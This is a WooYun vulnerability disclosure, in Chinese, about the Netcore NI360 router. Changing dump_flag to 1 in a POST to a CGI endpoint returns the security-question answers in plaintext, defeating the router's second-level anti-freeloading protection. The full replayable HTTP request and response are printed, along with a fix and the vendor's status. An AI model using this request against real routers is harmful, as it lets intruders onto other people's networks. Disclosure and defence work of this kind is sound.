当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120888

漏洞标题:磊科NI360无线路由器防蹭网二级密码形同虚设(可直接获取明文答案)

相关厂商:深圳市磊科实业有限公司

漏洞作者: Bear baby

提交时间:2015-06-16 16:26

修复时间:2015-06-21 16:28

公开时间:2015-06-21 16:28

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-16: 细节已通知厂商并且等待厂商处理中
2015-06-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

磊科NI360安全无线路由器开启二级防蹭网后,用户通过设置密码保护问题和答案,把防蹭网保护级别提升更高等级。即使蹭网嫌疑用户暴力破解无线安全密码后,依然无法上网,始终守卫您的网络安全。
“第一层保险:一键提升WIFI加密等级,关闭WPS功能,足以应付一般蹭网卡或蹭网软件。第二层保险:独有的问答形式验证密码保护,目前没有任何形式的蹭网工具可以破解。”
然而,蹭网二级密码形同虚设,可直接获取明文。。。

详细说明:

磊科NI360安全无线路由器开启二级防蹭网后,用户通过设置密码保护问题和答案,把防蹭网保护级别提升更高等级。即使蹭网嫌疑用户暴力破解无线安全密码后,依然无法上网,始终守卫您的网络安全。
“第一层保险:一键提升WIFI加密等级,关闭WPS功能,足以应付一般蹭网卡或蹭网软件。第二层保险:独有的问答形式验证密码保护,目前没有任何形式的蹭网工具可以破解。”<br/>

1.png


下面演示一下操作过程。
产品型号:NI360
软件版本:netcore(NI360)CN-V1.3.131122
首先在后台开启二级防蹭网保护,并设置密码保护答案。如下图<br/>

2.png


开启二级防蹭网保护后,浏览器访问网站时,如下图,访问百度网址,提示需要输入密码保护答案才能继续访问。

3.png


通过查看在该页面/pop_html/protection_ans.html源文件,第39行开始,通过ajax向/router/qh_360_safe_question_dump.cgi POST获取密保问题,返回为json数据。<br/>

3-1.png


部分HTML如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>磊科防蹭网二级保护</title>
<link type="text/css" href="../css/style.css" rel="stylesheet"/>
<style>
body{background: #333;margin: 0;padding: 0;overflow-x: hidden} img{border: 0;}
label{ font-size:12px; color:#373536;}
select,.txt{ padding:2px 0; width:170px;}
.red{color: #BD0000;}
.f12{font-size:12px;}
.f14{font-size:14px;}
.wrap{width: 700px;height:370px;background: #FFFFFF; margin: 30px auto;border-radius: 3px;-moz-box-shadow:3px 3px 20px #333;box-shadow: 3px 3px 20px #333;border: 1px #177AE0 solid;}
.c{width: 640px;padding:0 30px;float: left;position: relative;overflow: hidden;}
.c_wap{width: 100%;float: left;position: relative;overflow: hidden;}
.c_wap_content{background:#FFFFFF;float:left;width:100%; position:relative;}
.c_wap p{float: left;text-align: center;width: 100%;margin: 10px 0;}
.c_wap_content .c_wap p{margin: 0;}
.c_wap p font{padding: 0 30px;float: left;text-align: left;font-size: 14px;}
.title{font-size: 24px;color: #FFFFFF;background: #177AE0;}
.title_web{line-height: 94px;height: 94px;text-align: left;padding-left: 110px;width: 560px;}
.footerlink,.footerlink a{font-size: 12px;color:#999;text-decoration: none;}
.footerlink a:hover{text-decoration: underline;}
.c_wap_footer{background-color: #F5F5F5;padding: 20px 0;}
.text_wap{ padding:8px 0;}
.button {background:url(../images/btn2.gif) no-repeat;width:80px;height:28px;border:0px;color:white;padding:4px 0 5px 0;font-family:Tahoma, Verdana, sans-serif;font-size:12px;cursor:pointer}
.button2 {background:url(../images/btn5.gif) no-repeat;width:80px;height:28px;border:0px;color:#333;padding:4px 0 5px 0;font-family:Tahoma, Verdana, sans-serif;font-size:12px;cursor:pointer}
#authing{ display:none; position:absolute; left:25%; top:0; width:50%; height:120px; text-align:center; line-height:120px; color:#fff; background:#333 url(../images/jd.gif) no-repeat center 30px;}
</style>
<script type="text/javascript" src="../script/jquery-1.2.6.js"></script>
<script type="text/javascript" src="../script/language.js"></script>
<script type="text/javascript" src="../script/language_CN.js"></script>
<script type="text/javascript" src="../script/cookie.js"></script>
</head>
<body>
<script type="text/javascript">
$(document).ready(function(){
var c_pwd=$.cookie( "c_pwd");
if(c_pwd)
$("#wirel_answer").val(c_pwd);
$.post("/router/qh_360_safe_question_dump.cgi",{action:"0",dump_flag:"0"},function(data){
var data = eval("("+data+")");
/* var num=0;
while(1){
var temp="data.question"+num;
temp=eval("("+temp+")");
if(temp==undefined)
break;
else{
$("#question_sel").append("<option value=\""+num+"\">"+temp+"</option>");
num++;
}
}
$("#question_sel").val(data.id);*/
var temp="data.question"+data.id;
temp=eval("("+temp+")");
$("#question_sel").val(temp);
$("#wirel_answer_id").val(data.id)
});
});


Fiddler抓包如下图(MAC地址已做隐私处理)

4.png


REQUEST:

POST http://192.168.1.1/router/qh_360_safe_question_dump.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.1/pop_html/protection_ans.html?url=www.baidu.com/|ip=192.168.1.100|gw=192.168.1.1:80|mac=**:**:**:**:**:**|rmac=**:**:**:**:**:**|magic=245e2460
Content-Length: 20
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
action=0&dump_flag=0

RESPONSE:

HTTP/1.1 200 OK
Connection: close
content-type: text/plain; charset=UTF-8
{"question0":"我手机号码的后6位?","question1":"我身份证号码的后6位?","question2":"我的QQ号码?","question3":"123","id":"0","enable":"1"}

使用Fiddler修改POST数据中的dump_flag=0为dump_flag=1,重放数据包提交。如下图

5.png

Request:

POST http://192.168.1.1/router/qh_360_safe_question_dump.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.1/pop_html/protection_ans.html?url=www.baidu.com/|ip=192.168.1.100|gw=192.168.1.1:80|mac=**:**:**:**:**:**|rmac=**:**:**:**:**:**|magic=245e2460
Content-Length: 20
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
action=0&dump_flag=1

RESPONSE:

HTTP/1.1 200 OK
Connection: close
content-type: text/plain; charset=UTF-8
{"question0":"我手机号码的后6位?","answer0":"123456","question1":"我身份证号码的后6位?","answer1":"","question2":"我的QQ号码?","answer2":"","question3":"123","answer3":"","id":"0","enable":"1"}

返回的json数据赫然写着密保答案,完全明文。
至此蹭网者可用轻易获取到密码。NI360所宣传的防蹭网功能,二级防蹭网保护形同虚设。

漏洞证明:

5.png


POST http://192.168.1.1/router/qh_360_safe_question_dump.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.1/pop_html/protection_ans.html?url=www.baidu.com/|ip=192.168.1.100|gw=192.168.1.1:80|mac=**:**:**:**:**:**|rmac=**:**:**:**:**:**|magic=245e2460
Content-Length: 20
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
action=0&dump_flag=1


HTTP/1.1 200 OK
Connection: close
content-type: text/plain; charset=UTF-8
{"question0":"我手机号码的后6位?","answer0":"123456","question1":"我身份证号码的后6位?","answer1":"","question2":"我的QQ号码?","answer2":"","question3":"123","answer3":"","id":"0","enable":"1"}

修复方案:

获取问题功能直接写在页面里面或者单独页面处理,严格控制参数或者不使用参数来获取。对密保答案进行加密处理。

版权声明:转载请注明来源 Bear baby@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-21 16:28

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

2015-07-06:http://www.netcoretec.com/software_detail/&downloadsId=316.html已经修复此漏洞